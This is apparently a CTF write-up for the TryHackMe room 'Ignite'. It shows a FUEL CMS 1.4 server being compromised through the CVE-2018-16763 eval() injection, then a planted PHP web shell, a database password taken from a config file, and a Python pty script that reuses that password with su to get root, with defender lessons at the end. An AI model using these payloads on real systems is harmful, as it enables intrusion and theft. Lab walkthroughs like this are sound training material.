Ignite

Welcome to Ignite, a TryHackMe room that serves as a perfect reminder of why "I'll update it later" is the most dangerous phrase in IT. This box showcases a deadly combination: default credentials left on a homepage, an unpatched CMS with a critical vulnerability, and the age-old sin of password reuse.

Let's walk through how we went from zero to root.

Reconnaissance

Network Discovery

First things first, let's make sure our target is alive:

ping -c 2 10.67.163.57

TTL of 62 confirms we're dealing with a Linux box. Time to see what's running.

Port Scanning

nmap -sC -sV -T4 10.67.163.57

Results:

Only port 80 open. Simple attack surface, but sometimes that's all you need.

Web Enumeration

Visiting the website reveals something interesting immediately: it's running FUEL CMS Version 1.4, and the homepage helpfully displays the default admin credentials.

The "Aha!" Moment:

• Admin Panel: http://10.67.163.57/fuel/
• Default Credentials: admin / admin

Yes, the credentials were literally on the homepage. This is why we check everything.

The nmap scripts also found robots.txt with a disallowed entry pointing to /fuel/ - another breadcrumb leading us to the admin panel.

Vulnerability Identification

With FUEL CMS 1.4 identified, let's see if there are any known exploits:

searchsploit fuel cms

Jackpot. Multiple RCE exploits for FUEL CMS 1.4.1, all pointing to CVE-2018-16763.

CVE-2018-16763 - The Critical Flaw

This is a nasty one:

• Type: Remote Code Execution via PHP Code Injection
• CVSS Score: 9.8 (Critical)
• Affected Versions: FUEL CMS <= 1.4.1
• Vulnerable Endpoint: /fuel/pages/select/
• Vulnerable Parameter: filter

Root Cause: The filter parameter is passed directly to PHP's eval() function without any sanitization. Yes, you read that right - user input goes straight into eval(). This is about as dangerous as it gets.

The payload structure exploits this by injecting PHP code:

'+pi(print($a='system'))+$a('COMMAND')+'

Initial Access

Testing the RCE

Let's verify the vulnerability works:

curl -s "http://10.67.163.57/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27id%27%29%2b%27"

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have code execution as www-data. Now let's make our life easier with a persistent web shell.

Creating a Web Shell

To avoid URL encoding headaches, we'll use base64:

<h1>Base64 encoded: <?php system($_GET["c"]); ?></h1>
echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg== | base64 -d > /var/www/html/cmd.php

Now we can execute commands cleanly:

curl "http://10.67.163.57/cmd.php?c=whoami"
<h1>Output: www-data</h1>

User Flag

Time to hunt for flags. Let's check the home directories:

curl "http://10.67.163.57/cmd.php?c=ls%20-la%20/home"

Found /home/www-data/. Inside:

curl "http://10.67.163.57/cmd.php?c=cat%20/home/www-data/flag.txt"

User Flag: 6470e394cbf6dab6a91682cc8585059b

Privilege Escalation

Credential Hunting

We're www-data on a CMS server. Where do CMS applications store sensitive data? The database configuration.

cat /var/www/html/fuel/application/config/database.php

Bingo:

$db['default'] = array(
    'hostname' => 'localhost',
    'username' => 'root',
    'password' => 'mememe',
    'database' => 'fuel_schema',
    'dbdriver' => 'mysqli',
);

The MySQL root password is mememe. But here's the question: did the admin reuse this password for the Linux root account?

The Password Reuse Gamble

There's a catch: the su command requires an interactive terminal (TTY), and our web shell doesn't provide one. This is where Python's pty module comes in.

Why do we need a PTY?

The su command checks if it's running in a real terminal before accepting password input. It's a security feature - but we can work around it by creating a pseudo-terminal.

#!/usr/bin/env python3
import pty
import os
import time

def su_root():
    master, slave = pty.openpty()
    pid = os.fork()

    if pid == 0:
        # Child process: become the su command
        os.close(master)
        os.setsid()
        os.dup2(slave, 0)
        os.dup2(slave, 1)
        os.dup2(slave, 2)
        os.close(slave)
        os.execlp('su', 'su', '-c', 'cat /root/root.txt', 'root')
    else:
        # Parent process: interact with su
        os.close(slave)
        time.sleep(0.5)
        os.read(master, 1024)  # Read password prompt
        os.write(master, b'mememe\n')  # Send password
        time.sleep(1)
        result = os.read(master, 4096)
        print(result.decode())
        os.waitpid(pid, 0)

su_root()

Running this script gives us what we came for.

Root Flag

Root Flag: b9bbcb33e11b80be759c4e844862482d

Full system compromise achieved.

Attack Chain Summary

1. RECON
   └── nmap → Port 80 (FUEL CMS 1.4)

2. VULNERABILITY
   └── CVE-2018-16763 (RCE in filter parameter)

3. INITIAL ACCESS
   └── PHP code injection → www-data shell

4. CREDENTIAL HARVESTING
   └── database.php → MySQL root:mememe

5. PRIVILEGE ESCALATION
   └── Password reuse → su root with 'mememe'

6. ROOT ACCESS
   └── Full system compromise

Lessons Learned

For Defenders

1. Update Your Software: FUEL CMS 1.4 has a critical RCE. Patching isn't optional.

2. Never Use eval() with User Input: This is Security 101. Sanitize inputs or, better yet, avoid eval() entirely.

3. Don't Reuse Passwords: The MySQL password being the same as the root password turned a web shell into full system access.

4. Remove Default Credentials: Having admin/admin displayed on your homepage is an open invitation.

5. Principle of Least Privilege: Why does the CMS need the MySQL root account? It shouldn't.

Tools Used

References

• CVE-2018-16763 - NVD
• Exploit-DB - FUEL CMS RCE
• FUEL CMS Official Site

This room is a perfect example of how a single unpatched vulnerability, combined with poor password hygiene, can lead to complete system compromise. Keep your software updated, folks.